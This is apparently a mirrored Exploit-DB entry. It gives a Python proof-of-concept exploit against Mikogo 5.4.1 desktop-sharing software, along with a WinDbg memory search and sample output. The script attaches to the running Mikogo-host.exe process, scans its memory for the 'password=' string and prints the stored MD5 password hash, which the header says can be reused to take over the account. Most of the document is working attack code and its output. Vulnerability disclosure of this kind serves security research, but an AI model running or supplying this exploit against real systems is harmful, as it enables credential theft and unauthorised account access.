Mikogo 5.4.1.160608 – Local Credentials Disclosure

  • 作者: LiquidWorm
    日期: 2017-10-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43033/
  • #!/usr/bin/env python
    #
    #
    # Mikogo 5.4.1.160608 Local Credentials Disclosure
    #
    #
    # Vendor: Snapview GmbH
    # Product web page: https://www.mikogo.com
    # Affected version: 5.4.1.160608
    #
    # Summary: Mikogo is a desktop sharing software application for
    # web conferencing and remote support, and is provided by the online
    # collaboration provider, BeamYourScreen GmbH. Mikogo provides
    # its software as native downloads for Windows, Mac OS X, Linux,
    # iOS and Android.
    #
    # Desc: Mikogo is vulnerable to local credentials disclosure, the
    # supplied password is stored as a MD5 hash format in memory process.
    # A potential attacker could reveal the supplied password hash and
    # re-use it or store it via the configuration file in order to gain
    # access to the account.
    #
    # ------------------------------------------------------------------
    #
    # 0:017> s -a 0 L?80000000 "password="
    # 0125cdad70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67password=..&lang
    # 0146e6b870 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61password=...doma
    # 06a422b370 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34password=482C811
    # 0:017> da 06a422b3
    # 06a422b3"password=482C811DA5D5B4BC6D497FF"
    # 06a422d3"A98491E38...."
    #
    # ...
    # ...
    #
    # C:\Users\Charlie\Desktop>python mikogo_mem.py
    # [~] Searching for pid by process name 'Mikogo-host.exe'..
    # [+] Found process with pid #1116
    # [~] Trying to read memory for pid #1116
    # [+] Credentials found!
    # ----------------------------------------
    # [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38
    #
    # ------------------------------------------------------------------
    #
    # Tested on: Microsoft Windows 7 Professional SP1 (EN)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2017-5439
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php
    #
    #
    # 03.07.2017
    #
    #
    # Based on Yakir Wizman's PoC:
    #
    
    
    import time
    import urllib
    from winappdbg import Debug, Process
    
    username= ''
    password= ''
    found = 0
    filename= "Mikogo-host.exe"
    process_pid = 0
    memory_dump = []
     
    debug = Debug()
    try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
    process_pid = process.get_pid()
    if process_pid is not 0:
    print "[+] Found process with pid #%d" % (process_pid)
    time.sleep(1)
    print "[~] Trying to read memory for pid #%d" % (process_pid)
     
    process = Process(process_pid)
    for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'):
    memory_dump.append(process.read(address,42))
    for i in range(len(memory_dump)):
    password = memory_dump[i].split('password=')[1]
    if password !='':
    found = 1
    print "[+] Credentials found!\r\n----------------------------------------"
    print "[+] MD5 Password: %s" % password
    if found == 0:
    print "[-] Credentials not found! Make sure the client is connected."
    else:
    print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
    finally:
    debug.stop()